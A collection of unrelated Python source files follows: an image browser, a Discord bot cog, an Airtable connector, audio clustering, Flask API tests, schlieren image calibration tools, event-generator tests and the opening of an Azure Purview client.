self.button = self.bu(command=self.quit, relief=FLAT)
def image_loop(self, dirname='.'):
"""loop through the files in (dirname), displaying
images and skipping files PIL can't read.
"""
files = os.listdir(dirname)
for file in files:
try:
self.show_image(file)
print file
self.mainloop()
except IOError:
continue
except:
break
def show_image(self, filename):
"""Use PIL to read the file and ImageTk to convert
to a PhotoImage, which Tk can display.
"""
image = PIL.open(filename)
self.tkpi = ImageTk.PhotoImage(image)
self.button.config(image=self.tkpi)
def main(script, dirname='.'):
g = ImageBrowser()
g.image_loop(dirname)
if __name__ == '__main__':
main(*sys.argv)
|
import random
import discord
import discord.ext.commands as commands
from .util import checks
SHIMMY_SERVER_ID = '140880261360517120'
NSFW_ROLE_ID = '261189004681019392'
eight_ball_responses = [
# Positive
"It is certain",
"It is decidedly so",
"Without a doubt",
"Yes, definitely",
"You may rely on it",
"As I see it, yes",
"Most likely",
"Outlook good",
"Yes",
"Signs point to yes",
# Non cmmmittal
"Reply hazy try again",
"Ask again later",
"Better not tell you now",
"Cannot predict now",
"Concentrate and ask again",
# Negative
"Don't count on it",
"My reply is no",
"My sources say no",
"Outlook not so good",
"Very doubtful"
]
def setup(bot):
bot.add_cog(Shimmy(bot))
class Shimmy:
"""Commands exclusive to Shimmy's discord server."""
def __init__(self, bot):
self.bot = bot
@commands.command(pass_context=True, no_pm=True)
@checks.in_server(SHIMMY_SERVER_ID)
async def nsfw(self, ctx):
"""Tries to add the NSFW role to a member."""
await self.bot.add_roles(ctx.message.author, discord.Object(id=NSFW_ROLE_ID))
await self.bot.say('\N{WHITE HEAVY CHECK MARK} Access granted.', delete_after=3)
await self.bot.delete_message(ctx.message)
@commands.command(aliases=['eight', '8'])
@checks.in_server(SHIMMY_SERVER_ID)
async def ball(self, *, question):
"""Scarecrow's 8-Ball reaches into the future, to find the answers to your questions.
It knows what will be, and is willing to share this with you. Just send a question that can be answered by
"Yes" or "No", then let Scarecrow's 8-Ball show you the way !
"""
await self.bot.say(random.choice(eight_ball_responses))
|
from tars_data_models.spendy.transaction import Transaction |
import os
from pyairtable import Table, Base, Api
from abc import ABC, abstractmethod
class DB_Connector(ABC):
@abstractmethod
def Get_Api(self):
pass
@abstractmethod
def Get_Base(self):
pass
@abstractmethod
def Get_Table(self, table_name: str):
pass
class PyAirtable_DB_Connector(DB_Connector):
def __init__(self):
self.api_key = os.environ['AIRTABLE_API_KEY']
self.base_id = os.environ['AIRTABLE_BASE_ID']
def Get_Api(self):
return Api(self.api_key)
def Get_Base(self):
return Base(self.api_key, self.base_id)
def Get_Table(self, table_name: str):
return Table(self.api_key, self.base_id, table_name)
# class DB_2(DB_operator):
# def __init__(self):
# self.api_key = os.environ['AIRTABLE_API_KEY']
# self.base_id = os.environ['AIRTABLE_BASE_ID']
# self.base = Base(self.api_key, self.base_id)
# def get_base(self):
# return self.base
# def get_table(self, table_name: str):
# self.table = Table(self.api_key, self.base_id, table_name)
# return self.table
# class UseDB():
# def usedb(db_operator: DB_operator):
# return db_operator.get_base()
# db1 = DB_1()
# db2 = DB_2()
# UseDB().usedb(db1) |
import numpy as np
import matplotlib.pyplot as plt
import argparse
from random import shuffle
from mpl_toolkits.mplot3d import Axes3D
from tqdm import *
from sklearn.cluster import KMeans
from sklearn.preprocessing import normalize
from pymongo import MongoClient
from scipy.spatial import distance
from sklearn.metrics import silhouette_score
from sklearn.decomposition import PCA
from pydub import AudioSegment
def main():
args = parseArgs()
numClusters = args.numClusters
estimator = KMeans(n_clusters=numClusters, n_jobs=-1, n_init=20, precompute_distances='auto')
print("Num Clusters: " + str(numClusters))
#Gather grains into numpy array
client = MongoClient()
db = client.audiograins
grainEntries = db.grains
query = grainEntries.find({})
dataIndex = 0
indexToFilename = [None] * query.count()
numXBins = args.numXBins
numBinergies = args.numBinergies
numLogBinergies = args.numLogBinergies
numMFCCs = args.numMFCCs
numRatios = args.numRatios
features=[]
if args.rolloff:
features.extend(["rolloff"])
if args.energy:
features.extend(["energy"])
if args.zcr:
features.extend(["zcr"])
if args.centroid:
features.extend(["centroid"])
if args.spread:
features.extend(["spread"])
if args.skewness:
features.extend(["skewness"])
if args.kurtosis:
features.extend(["kurtosis"])
nameFormat = "binergy%0" + str(len(str(numBinergies))) + "d"
for binNum in range(numBinergies):
features.append(nameFormat % binNum)
nameFormat = "xBin%0" + str(len(str(numXBins))) + "d"
for binNum in range(numXBins):
features.append(nameFormat % binNum)
nameFormat = "logbinergies%0" + str(len(str(numLogBinergies))) + "d"
for binNum in range(numLogBinergies):
features.append(nameFormat % binNum)
nameFormat = "hratio%02d"
for binNum in range(numRatios):
features.append(nameFormat % binNum)
nameFormat = "mfcc%02d"
for binNum in range(0,numMFCCs):
features.append(nameFormat % binNum)
numFeatures = len(features)
data = np.empty([query.count(), numFeatures])
dataIndex = 0
for grain in tqdm(query):
featureNum = 0
for feature in features:
data[dataIndex][featureNum] = grain[feature]
featureNum += 1
indexToFilename[dataIndex] = grain["file"]
dataIndex += 1
print("Data pulled")
## Fit data, label, and put files in buckets
print("Normalizing Data")
if np.any(np.isnan(data)):
print("Some data is NaN")
if not np.all(np.isfinite(data)):
print("Some data is infinite")
normalize(data)
estimator.fit(data)
buckets = [None] * numClusters
dataIndex = 0
for label in estimator.labels_:
if buckets[label] is None:
buckets[label] = []
buckets[label].append(indexToFilename[dataIndex])
dataIndex += 1
bucketIndex = 0
for bucket in buckets:
song = None
shuffle(bucket)
print("Writing sound file for bucket " + str(bucketIndex) + " With " + str(len(bucket)) + "samples")
for grainFile in tqdm(bucket):
grain = AudioSegment.from_wav(grainFile)
if song is None:
song = grain
else:
song = song.append(grain, crossfade=10)
song.export("soundGroups/grouping" + str(bucketIndex) + ".wav", format="wav")
bucketIndex += 1
print("Silhouette score:" + str(silhouette_score(data, estimator.labels_, metric='euclidean')))
def parseArgs():
parser = argparse.ArgumentParser(description='Cluster grains based on values computed using an analyzer whose results are available in a mongo database')
parser.add_argument('-numClusters', '--numClusters', nargs='?', default=10, type=int)
parser.add_argument('-numXBins', '--numXBins', nargs='?', default=0, type=int)
parser.add_argument('-numBinergies', '--numBinergies', nargs='?', default=0, type=int)
parser.add_argument('-numLogBinergies', '--numLogBinergies', nargs='?', default=0, type=int)
parser.add_argument('-numMFCCs', '--numMFCCs', nargs='?', default=0, type=int)
parser.add_argument('-numRatios', '--numRatios', nargs='?', default=0, type=int)
parser.add_argument('--rolloff', dest='rolloff', action='store_true', help='use spectral rolloff in clustering')
parser.add_argument('--energy', dest='energy', action='store_true', help='use signal energy in clustering')
parser.add_argument('--zcr', dest='zcr', action='store_true', help='use signal zero crossing rate in clustering')
parser.add_argument('--centroid', dest='centroid', action='store_true', help='use the spectral centroid in clustering')
parser.add_argument('--spread', dest='spread', action='store_true', help='use the spectral spread in clustering')
parser.add_argument('--skewness', dest='skewness', action='store_true', help='use the spectral skewness in clustering')
parser.add_argument('--kurtosis', dest='kurtosis', action='store_true', help='use the spectral kurtosis in clustering')
#Arg defaults
parser.set_defaults(rolloff=False)
parser.set_defaults(energy=False)
parser.set_defaults(zcr=False)
parser.set_defaults(centroid=False)
parser.set_defaults(spread=False)
parser.set_defaults(skewness=False)
parser.set_defaults(kurtosis=False)
return parser.parse_args()
if __name__ == "__main__":
main()
|
from flask import url_for
def test_hostgroups(client, access_token):
token = access_token
res = client.get(url_for('hostgroups'), headers={'authorization': "Bearer {token}".format(token=token)})
assert res.status_code == 200
assert res.json[0]['id'] == 1
assert res.json[0]['name'] == "default"
assert res.json[0]['comment'] == "created by sshportal"
assert 'acls' in res.json[0]
assert 'hosts' in res.json[0]
assert res.json[0]['acls'][0]['id'] == 1
assert res.json[0]['acls'][0]['comment'] == "created by sshportal"
def test_hostgroup_id(client, access_token):
token = access_token
res = client.get(url_for('hostgroupid', id=1), headers={'authorization': "Bearer {token}".format(token=token)})
assert res.status_code == 200
assert res.json['id'] == 1
assert res.json['name'] == "default"
assert res.json['comment'] == "created by sshportal"
assert 'acls' in res.json
assert 'hosts' in res.json
assert res.json['acls'][0]['id'] == 1
assert res.json['acls'][0]['comment'] == "created by sshportal"
def test_hostgroup_name(client, access_token):
token = access_token
res = client.get(url_for(
'hostgroupname', name="default"),
headers={'authorization': "Bearer {token}".format(token=token)}
)
assert res.status_code == 200
assert res.json['id'] == 1
assert res.json['name'] == "default"
assert res.json['comment'] == "created by sshportal"
assert 'acls' in res.json
assert 'hosts' in res.json
assert res.json['acls'][0]['id'] == 1
assert res.json['acls'][0]['comment'] == "created by sshportal"
|
'''
Configures logger
'''
import logging
import os
# Delete previous debug log
if os.path.exists("debug.log"):
os.remove("debug.log")
# Initialize logger
FORMAT = '[%(levelname)s] - %(asctime)s: %(message)s'
logging.basicConfig(handlers=[logging.FileHandler(filename='debug.log', encoding='utf-8', mode='a+')],
level=logging.INFO,
format=FORMAT,
datefmt='%H:%M:%S')
logging.info("----------------Start-----------------")
|
__author__ = "Christian Kongsgaard"
__license__ = 'MIT'
# -------------------------------------------------------------------------------------------------------------------- #
# IMPORTS
# Modules
import matplotlib.pyplot as plt
# RiBuild Modules
from delphin_6_automation.database_interactions import mongo_setup
from delphin_6_automation.database_interactions.auth import validation as auth_dict
from delphin_6_automation.backend import result_extraction
# -------------------------------------------------------------------------------------------------------------------- #
# RIBuild
server = mongo_setup.global_init(auth_dict)
filters_none = {}
filters = {'exterior_climate': 'MuenchenAirp',}
filters2 = {'exterior_climate': 'MuenchenAirp', 'wall_orientation': [200, 250]}
filters3 = {'exterior_climate': 'MuenchenAirp', 'wall_orientation': [200, 250], 'wall_core_thickness': 48}
filters4 = {'exterior_climate': 'MuenchenAirp', 'wall_orientation': [200, 250], 'system_name': 'Calsitherm'}
filters5 = {'exterior_climate': 'MuenchenAirp', 'rain_scale_factor': [0.0, 0.15]}
projects = result_extraction.filter_db(filters_none)
def lookup(projects_):
ori = []
rain = []
for p in projects_:
ori.append(p.sample_data['wall_orientation'])
rain.append(p.sample_data['rain_scale_factor'])
ori = set(ori)
rain = set(rain)
print(f'Orientations: {sorted(ori)}')
print(f'Rain: {sorted(rain)}')
#lookup(projects)
x, y = result_extraction.compute_cdf(projects, 'heat_loss')
#a = np.nonzero(x < 2.0)
#print(y[a][-1])
plt.figure()
plt.plot(x, y)
plt.show()
mongo_setup.global_end_ssh(server)
|
import os
import warnings
import numpy as np
import pandas as pd
import uncertainties as un
import uncertainties.unumpy as unp
from matplotlib import pyplot as plt
from matplotlib import widgets
from skimage import io
from skimage.filters import sobel_v
from ...dir import d_drive, convert_dir_to_local
from ...uncertainty import add_uncertainty_terms, u_cell
u_cell = u_cell["schlieren"]
def get_spatial_dir(
date,
base_dir=os.path.join(
d_drive,
"Data",
"Raw"
)
):
_dir_date = os.path.join(
base_dir,
date
)
contents = os.listdir(_dir_date)
if ".old" in contents:
_dir_spatial = os.path.join(
base_dir,
date,
"Camera",
"spatial"
)
else:
_dir_spatial = os.path.join(
base_dir,
date,
"spatial"
)
if not os.path.exists(_dir_spatial):
warnings.warn("directory not found: %s" % _dir_spatial)
_dir_spatial = np.NaN
return _dir_spatial
def get_varied_spatial_dir(
spatial_date_dir,
spatial_dir_name,
base_dir=os.path.join(
d_drive,
"Data",
"Raw"
)
):
"""
Some days got weird due to overnight testing, which means that tests on
those days may have a weird spatial calibration image location.
Parameters
----------
spatial_date_dir
spatial_dir_name
base_dir
Returns
-------
"""
_dir_date = os.path.join(
base_dir,
spatial_date_dir,
spatial_dir_name,
)
if not os.path.exists(_dir_date):
warnings.warn("directory not found: %s" % _dir_date)
_dir_date = np.NaN
return _dir_date
def get_spatial_loc(
date,
which="near",
base_dir=os.path.join(
d_drive,
"Data",
"Raw"
)
):
_dir_date = get_spatial_dir(
date,
base_dir
)
_near = "near.tif"
_far = "far.tif"
if which == "near":
return os.path.join(_dir_date, _near)
elif which == "far":
return os.path.join(_dir_date, _far)
elif which == "both":
return [os.path.join(_dir_date, _near), os.path.join(_dir_date, _far)]
else:
raise ValueError("bad value of `which`")
def find_images_in_dir(
directory,
data_type=".tif"
):
"""
Finds all files in a directory of the given file type. This function should
be applied to either a `bg` or `frames` directory from a single day of
testing.
Parameters
----------
directory : str
Directory to search
data_type : str
File type to search for
Returns
-------
List[str]
"""
last_n = -len(data_type)
return sorted([
os.path.join(directory, f)
for f in os.listdir(directory)
if f[last_n:] == data_type
])
def find_shot_images(
dir_shot,
data_type=".tif"
):
"""
Collects all background and frame images for a single shot directory. Shot
directory should contain `bg` and `frames` sub-directories.
Parameters
----------
dir_shot : str
Shot directory to collect images from
data_type : str
File type of schlieren images
Returns
-------
list
[[background image paths], [frame image paths]]
"""
backgrounds = []
frames = []
for root, _, files in os.walk(dir_shot):
curdir = os.path.split(root)[1]
if curdir == "bg":
backgrounds = find_images_in_dir(root, data_type=data_type)
elif curdir == "frames":
frames = find_images_in_dir(root, data_type=data_type)
return [backgrounds, frames]
def average_frames(frame_paths):
"""
Averages all frames contained within a list of paths
Parameters
----------
frame_paths : list
Path to image frames to average
Returns
-------
np.array
Average image as a numpy array of float64 values
"""
return np.array(
[io.imread(frame) for frame in frame_paths],
dtype='float64'
).mean(axis=0)
def bg_subtract_all_frames(dir_raw_shot):
"""
Subtract the averaged background from all frames of schlieren data in a
given shot.
Parameters
----------
dir_raw_shot : str
Directory containing raw shot data output. Should have `bg` and
`frames` sub-directories.
Returns
-------
list
List of background subtracted arrays
"""
pth_list_bg, pth_list_frames = find_shot_images(dir_raw_shot)
bg = average_frames(pth_list_bg)
return [(io.imread(frame) - bg + 2**15) for frame in pth_list_frames]
def _maximize_window():
# https://stackoverflow.com/questions/12439588/how-to-maximize-a-plt-show-window-using-python
plt_backend = plt.get_backend()
mng = plt.get_current_fig_manager()
if "Qt" in plt_backend:
mng.window.showMaximized()
return True
elif "wx" in plt_backend:
mng.frame.Maximize(True)
return True
elif "Tk" in plt_backend:
mng.window_state('zoomed')
return True
else:
print("figure out how to maximize for ", plt_backend)
return False
def collect_spatial_calibration(
spatial_file,
line_color="r",
marker_length_mm=5.08,
px_only=False,
apply_uncertainty=True,
plot_window=None,
msg_box=None
): # pragma: no cover
image = io.imread(spatial_file)
if plot_window is not None:
# called from Qt gui
ax = plot_window.ax
fig = plot_window.fig
else:
# not called form Qt gui
fig, ax = plt.subplots(1, 1)
fig.canvas.manager.window.move(0, 0)
ax.axis("off")
ax.imshow(image)
cal_line = widgets.Line2D(
[0, 100],
[0, 100],
c=line_color
)
ax.add_line(cal_line)
# noinspection PyTypeChecker
linebuilder = LineBuilder(cal_line)
if plot_window is not None:
# called from Qt gui
plot_window.imshow(image)
plot_window.exec_()
if msg_box is None:
# noinspection SpellCheckingInspection
raise ValueError("Lazy dev didn't error handle this! Aaahh!")
num_boxes = msg_box().num_boxes
else:
# not called from Qt gui
_maximize_window()
plt.tight_layout()
plt.show(block=True)
while True:
try:
num_boxes = float(input("number of markers: "))
break
except ValueError:
pass
# I built the input to this in a bad way. The nominal value is the size of
# an engineering paper box, and the std_dev is the resolution error of a
# single line. The error should be applied at either end of the calibration
# line, i.e. the error should be the same regardless of line length. To
# make this happen, I am breaking out the components and applying them as
# originally intended.
line_length_mm = num_boxes * marker_length_mm
if apply_uncertainty:
line_length_mm = un.ufloat(
line_length_mm,
add_uncertainty_terms([
u_cell["l_mm"]["b"],
u_cell["l_mm"]["p"]
])
)
if px_only:
return _get_cal_delta_px(linebuilder.xs, linebuilder.ys)
else:
mm_per_px = _calibrate(
linebuilder.xs,
linebuilder.ys,
line_length_mm,
apply_uncertainty=apply_uncertainty
)
return mm_per_px
def measure_single_frame(
image_array,
lc="r"
):
m = MeasurementCollector(image_array, lc=lc)
_maximize_window()
data = m.get_data()
del m
return data
def _get_cal_delta_px(
x_data,
y_data
):
return np.sqrt(
np.square(np.diff(x_data)) +
np.square(np.diff(y_data))
)
def _calibrate(
x_data,
y_data,
line_length_mm,
apply_uncertainty=True
):
"""
Calculates a calibration factor to convert pixels to mm by dividing
the known line length in mm by the L2 norm between two pixels.
Parameters
----------
x_data : iterable
X locations of two points
y_data : iterable
Y locations of two points
line_length_mm : float
Length, in mm, of the line between (x0, y0), (x1, y1)
apply_uncertainty : bool
Applies pixel uncertainty if True
Returns
-------
float or un.ufloat
Pixel linear pitch in mm/px
"""
line_length_px = _get_cal_delta_px(x_data, y_data)
if apply_uncertainty:
line_length_px = un.ufloat(
line_length_px,
add_uncertainty_terms([
u_cell["l_px"]["b"],
u_cell["l_px"]["p"]
])
)
return line_length_mm / line_length_px
class LineBuilder(object): # pragma: no cover
# I'm not sure how to automate tests on this, it works right now, and I
# don't have time to figure out how, so I'm going to skip it for now.
# modified version of code from
# https://stackoverflow.com/questions/34855074/interactive-line-in-matplotlib
def __init__(self, line, epsilon=10):
canvas = line.figure.canvas
line.set_alpha(0.7)
self.canvas = canvas
self.canvas.mpl_connect("key_press_event", self._button)
self.line = line
self.axes = line.axes
self.xs = list(line.get_xdata())
self.ys = list(line.get_ydata())
self.background = None
self.epsilon = epsilon
self.circles = [
widgets.Circle(
(self.xs[i], self.ys[i]),
epsilon,
color=line.get_c(),
lw=line.get_linewidth(),
fill=False,
alpha=0.25
)
for i in range(len(self.xs))
]
for c in self.circles:
self.axes.add_artist(c)
self._end_line_length = 2 * np.sqrt(
sum([
np.diff(self.axes.get_xlim())**2,
np.diff(self.axes.get_ylim())**2
])
)
self._end_lines = [
widgets.Line2D(
[0, 1],
[0, 1],
c=line.get_c(),
lw=line.get_linewidth(),
alpha=0.5*line.get_alpha()
)
for _ in self.xs
]
self.set_end_lines()
for _line in self._end_lines:
self.axes.add_artist(_line)
self.items = (self.line, *self.circles, *self._end_lines)
self.ind = None
canvas.mpl_connect('button_press_event', self.button_press_callback)
canvas.mpl_connect('button_release_event', self.button_release_callback)
canvas.mpl_connect('motion_notify_event', self.motion_notify_callback)
def _button(self, event):
if event.key == "enter":
plt.close(self.line.figure)
def get_ind(self, event):
if event.inaxes is not None:
x = np.array(self.line.get_xdata())
y = np.array(self.line.get_ydata())
d = np.sqrt((x-event.xdata)**2 + (y - event.ydata)**2)
if min(d) > self.epsilon:
return None
return int(d[0] > d[1])
def button_press_callback(self, event):
if event.button == 2:
# middle click
plt.close(self.axes.get_figure())
elif event.button != 1:
return
self.ind = self.get_ind(event)
for item in self.items:
item.set_animated(True)
self.canvas.draw()
self.background = self.canvas.copy_from_bbox(self.line.axes.bbox)
for item in self.items:
self.axes.draw_artist(item)
self.canvas.blit(self.axes.bbox)
def button_release_callback(self, event):
if event.button != 1:
return
self.ind = None
for item in self.items:
item.set_animated(False)
self.background = None
for item in self.items:
item.figure.canvas.draw()
def motion_notify_callback(self, event):
if event.inaxes != self.line.axes:
return
if event.button != 1:
return
if self.ind is None:
return
self.xs[self.ind] = event.xdata
self.ys[self.ind] = event.ydata
self.line.set_data(self.xs, self.ys)
self.set_end_lines()
for c, x, y in zip(self.circles, self.xs, self.ys):
# noinspection PyArgumentList
c.set_center((x, y))
self.canvas.restore_region(self.background)
for item in self.items:
self.axes.draw_artist(item)
self.canvas.blit(self.axes.bbox)
def get_line_angle(self):
if np.diff(self.xs) == 0:
return np.pi
else:
return np.arctan(np.diff(self.ys) / np.diff(self.xs))[0]
def calculate_end_line_xy(self):
angle = (self.get_line_angle() + np.pi / 2) % (2 * np.pi)
dx = self._end_line_length / 2 * np.sqrt(1 / (1 + np.tan(angle)**2))
dy = dx * np.tan(angle)
x_points = [list(x + np.array([1, -1]) * dx) for x in self.xs]
y_points = [list(y + np.array([1, -1]) * dy) for y in self.ys]
return [x_points, y_points]
def set_end_lines(self):
end_line_points = self.calculate_end_line_xy()
for _line, x, y in zip(self._end_lines, *end_line_points):
_line.set_data(x, y)
class MeasurementCollector(object): # pragma: no cover
# also skipping tests for the same reason as LineBuilder
class RemoveLine:
button = 3
class CloseIt:
button = 2
def __init__(self, image, lc="r"):
self.locs = []
self.cmap = "gray"
fig, [ax, ax2] = plt.subplots(2, 1)
self.lines = []
self.fig = fig
plt.get_current_fig_manager().window.setGeometry(0, 0, 640, 480)
self.ax = ax
self.lc = lc
# remove_annotations(ax)
ax.set_axis_off()
ax.set_position([0, 0.07, 1, 0.9])
ax2.set_position([0.375, 0.01, 0.25, 0.05])
# plt.axis("off")
# plt.axis("tight")
self._help = False
self._title_default = "press 'h' for help"
self._title_help = \
"HELP MENU\n\n"\
"press 'r' to invert colors\n"\
"press left mouse to identify a triple point\n"\
"press right mouse to delete last measurement\n"\
"press 'enter' or center mouse to end measurements\n"\
"click and drag horizontally to adjust contrast to red area\n"\
"click 'Reset Contrast' button to reset contrast\n"\
"press 'h' to hide this dialog"
self._set_title(self._title_default)
canvas = ax.figure.canvas
canvas.mpl_connect("key_press_event", self._button)
canvas.mpl_connect('button_release_event', self.button_press_callback)
self.image = self._sharpen(image)
self.rect_select = widgets.SpanSelector(
self.ax,
self.slider_select,
"horizontal"
)
# noinspection PyTypeChecker
# ax2 = plt.axes((0.375, 0.025, 0.25, 0.04))
# fig.add_axes(ax2)
self.btn_reset = widgets.Button(
ax2,
"Reset Contrast"
)
self.btn_reset.on_clicked(self.reset_vlim)
self.ax.imshow(self.image, cmap=self.cmap)
self.fig.canvas.draw()
@staticmethod
def _sharpen(image):
image /= image.max()
filtered = 1 - sobel_v(image)
filtered /= filtered.max()
return filtered * image
def _button(self, event):
if event.key == "enter":
self.button_press_callback(self.CloseIt)
elif event.key == "r":
if self.cmap == "gray":
self.cmap = "gist_gray_r"
else:
self.cmap = "gray"
self.ax.images[0].set_cmap(self.cmap)
self.fig.canvas.draw()
elif event.key == "h":
if self._help:
self._set_title(self._title_help, True)
else:
self._set_title(self._title_default)
self._help = not self._help
self.fig.canvas.draw()
def _set_title(self, string, have_background=False):
if have_background:
bg_color = (1, 1, 1, 0.75)
h_align = "left"
else:
bg_color = (0, 0, 0, 0)
h_align = "right"
t = self.fig.suptitle(
string,
size=10,
y=0.99,
ma=h_align,
)
t.set_backgroundcolor(bg_color)
self.fig.canvas.draw()
def slider_select(self, x_min, x_max):
px_distance = abs(x_max - x_min)
if px_distance <= 1:
# this should have been a click
pass
else:
# this was meant to be a drag
x_min, x_max = int(x_min), int(x_max)
img_in_range = self.image[:, x_min:x_max]
self.ax.images[0].norm.vmin = np.min(img_in_range)
self.ax.images[0].norm.vmax = np.max(img_in_range)
self.fig.canvas.draw()
self.button_press_callback(self.RemoveLine)
def reset_vlim(self, _):
self.ax.images[0].norm.vmin = np.min(self.image)
self.ax.images[0].norm.vmax = np.max(self.image)
self.button_press_callback(self.RemoveLine)
self.fig.canvas.draw()
def button_press_callback(self, event):
if event.button == 1:
# left click
if any([d is None for d in [event.xdata, event.ydata]]):
# ignore clicks outside of image
pass
else:
self.lines.append(self.ax.axhline(event.ydata, color=self.lc))
self.locs.append(event.ydata)
self.fig.canvas.draw()
elif event.button == 2:
# middle click
plt.close()
elif event.button == 3:
# right click
if self.lines:
# noinspection PyProtectedMember
self.lines[-1]._visible = False
del self.lines[-1], self.locs[-1]
self.fig.canvas.draw()
def get_data(self):
plt.show(block=True)
points = unp.uarray(
sorted(np.array(self.locs)),
add_uncertainty_terms([
u_cell["delta_px"]["b"],
u_cell["delta_px"]["p"]
])
)
return points
def get_cell_size_from_delta(
delta,
l_px_i,
l_mm_i
):
"""
Converts pixel triple point deltas to cell size
Parameters
----------
delta : un.ufloat
l_px_i : float
nominal value of spatial calibration factor (px)
l_mm_i : float
nominal value of spatial calibration factor (mm)
Returns
-------
un.ufloat
estimated cell size
"""
l_px_i = un.ufloat(
l_px_i,
add_uncertainty_terms([
u_cell["l_px"]["b"],
u_cell["l_px"]["p"]
])
)
l_mm_i = un.ufloat(
l_mm_i,
add_uncertainty_terms([
u_cell["l_mm"]["b"],
u_cell["l_mm"]["p"]
])
)
return 2 * delta * l_mm_i / l_px_i
def _filter_df_day_shot(
df,
day_shot_list,
return_mask=False
):
"""
Filters a dataframe by date and shot number for an arbitrary number of
date/shot combinations. Returns the indices (for masking) and the filtered
dataframe.
Parameters
----------
df : pd.DataFrame
dataframe to filter. Must have columns for "date" and "shot".
day_shot_list : List[Tuple[Str, Int, Int]]
List of tuples containing date, start shot, and end shot. Date should
be a string in ISO-8601 format, and start/end shots numbers should be
integers:
[("YYYY-MM-DD", start_shot, end_shot)]
return_mask : bool
if true, mask will be returned as the second item, which can be used to
update data (e.g. inserting a spatial calibration)
Returns
-------
Union[Tuple[pd.DataFrame, np.array], Tuple[pd.DataFrame]]
(filtered dataframe,) or (filtered dataframe, mask)
"""
mask_list = [((df["date"] == date) &
(df["shot"] <= end_shot) &
(df["shot"] >= start_shot))
for (date, start_shot, end_shot) in day_shot_list]
mask = [False for _ in range(len(df))]
for m in mask_list:
mask = m | mask
if return_mask:
return df[mask], mask
else:
return df[mask],
def _check_stored_calibrations(
df
):
"""
Check for stored calibrations within a filtered dataframe. All rows are
checked for:
* whether there are any stored spatial calibrations
* whether there are stored calibrations for every date and shot
* whether all of the stored calibrations are equal
This function is meant to be applied to a schlieren dataframe, which must
contain the columns:
* spatial_near
* spatial_far
* spatial_centerline
Parameters
----------
df : pd.DataFrame
filtered dataframe containing only the date/shot combinations of
interest
Returns
-------
Dict[String: Dict[String: Bool]]
Outer keys:
* near
* far
* centerline
Inner keys:
* any
* all
* equal
"""
out = dict(
near=dict(
any=False,
all=False,
equal=False,
),
far=dict(
any=False,
all=False,
equal=False,
),
centerline=dict(
any=False,
all=False,
equal=False,
),
)
for location in out.keys():
values = df["spatial_" + location].values.astype(float)
not_nan = ~np.isnan(values)
out[location]["any"] = np.any(not_nan)
out[location]["all"] = np.all(not_nan)
if len(values[not_nan]) == 0:
# everything is NaN
out[location]["equal"] = True
else:
# allclose will cause nanmedian check to fail for NaN as well as
# for differing numerical values
out[location]["equal"] = np.allclose(
values,
np.nanmedian(values)
)
return out
class SpatialCalibration:
@staticmethod
def collect(
date,
loc_processed_data,
loc_schlieren_measurements,
raise_if_no_measurements=True
):
with pd.HDFStore(loc_processed_data, "r") as store_pp:
# make sure date is in post-processed data
if date not in store_pp.data["date"].unique():
e_str = "date {:s} not in {:s}".format(
date,
loc_processed_data
)
raise ValueError(e_str)
else:
df_dirs = store_pp.data[
store_pp.data["date"] == date
][["shot", "spatial"]]
df_dirs.columns = ["shot", "dir"]
df_dirs["dir"] = df_dirs["dir"].apply(
convert_dir_to_local
)
with pd.HDFStore(loc_schlieren_measurements, "r+") as store_sc:
df_sc = store_sc.data[
store_sc.data["date"] == date
]
if len(df_sc) == 0 and raise_if_no_measurements:
e_str = "no measurements found for %s" % date
raise ValueError(e_str)
# collect calibrations
df_daily_cal = pd.DataFrame([dict(
dir=k,
near=un.ufloat(np.NaN, np.NaN),
far=un.ufloat(np.NaN, np.NaN),
) for k in df_dirs["dir"].unique()]).set_index("dir")
desired_cals = ["near", "far"]
successful_cals = []
for d, row in df_daily_cal.iterrows():
for which in desired_cals:
pth_tif = os.path.join(str(d), which + ".tif")
if os.path.exists(pth_tif):
df_daily_cal.at[
d,
which
] = collect_spatial_calibration(pth_tif)
successful_cals.append(which)
# apply calibrations
for _, row in df_dirs.iterrows():
row_mask = df_sc["shot"] == row["shot"]
# set near and far spatial calibrations
for which in successful_cals:
key = "spatial_" + which
df_sc[key] = np.where(
row_mask,
df_daily_cal.loc[row["dir"], which].nominal_value,
df_sc[key]
)
key = "u_" + key
df_sc[key] = np.where(
row_mask,
df_daily_cal.loc[row["dir"], which].std_dev,
df_sc[key]
)
df_sc["spatial_" + which + "_estimated"] = False
# calculate and set centerline calibration
centerline = np.mean(
[unp.uarray(df_sc["spatial_near"], df_sc["u_spatial_near"]),
unp.uarray(df_sc["spatial_far"], df_sc["u_spatial_far"])],
axis=0
)
df_sc["spatial_centerline"] = np.where(
row_mask,
unp.nominal_values(centerline),
df_sc["spatial_centerline"]
)
df_sc["u_spatial_centerline"] = np.where(
row_mask,
unp.std_devs(centerline),
df_sc["u_spatial_centerline"]
)
df_out = store_sc.data
df_out.loc[df_out["date"] == date] = df_sc
store_sc.put("data", df_out)
|
# Copyright (c) 2021 Princeton University
#
# This source code is licensed under the MIT license found in the
# LICENSE file in the root directory of this source tree.
import sys
import unittest
sys.path.insert(1, '../..')
from synthetic_workload_invoker.EventGenerator import *
class TestEventGenerator(unittest.TestCase):
def test_CreateEvents(self):
inter_arrivals = CreateEvents(instance=0, dist='Uniform', rate=1, duration=5, seed=100)
self.assertEqual(inter_arrivals[1:], [1.0, 1.0, 1.0, 1.0])
def test_EnforceActivityWindow(self):
event_iit = EnforceActivityWindow(start_time=1.5, end_time=3.5,
instance_events=[1.0, 1.0, 1.0, 1.0])
self.assertEqual(event_iit, [2.0, 1.0])
if __name__ == '__main__':
unittest.main() |
# coding=utf-8
# --------------------------------------------------------------------------
# Copyright (c) Microsoft Corporation. All rights reserved.
# Licensed under the MIT License. See License.txt in the project root for license information.
# Code generated by Microsoft (R) AutoRest Code Generator.
# Changes may cause incorrect behavior and will be lost if the code is regenerated.
# --------------------------------------------------------------------------
from copy import deepcopy
from typing import TYPE_CHECKING
from azure.core import PipelineClient
from azure.purview.catalog.core.rest import HttpResponse, _StreamContextManager
from msrest import Deserializer, Serializer
if TYPE_CHECKING:
# pylint: disable=unused-import,ungrouped-imports
from typing import Any, Dict
from azure.core.credentials import TokenCredential
from azure.purview.catalog.core.rest import HttpRequest
from ._configuration import PurviewCatalogClientConfiguration
class PurviewCatalogClient(object):
"""Purview Catalog Service is a fully managed cloud service whose users can discover the data sources they need and understand the data sources they find. At the same time, Data Catalog helps organizations get more value from their existing investments. This spec defines REST API of Purview Catalog Service.
:param credential: Credential needed for the client to connect to Azure.
:type credential: ~azure.core.credentials.TokenCredential
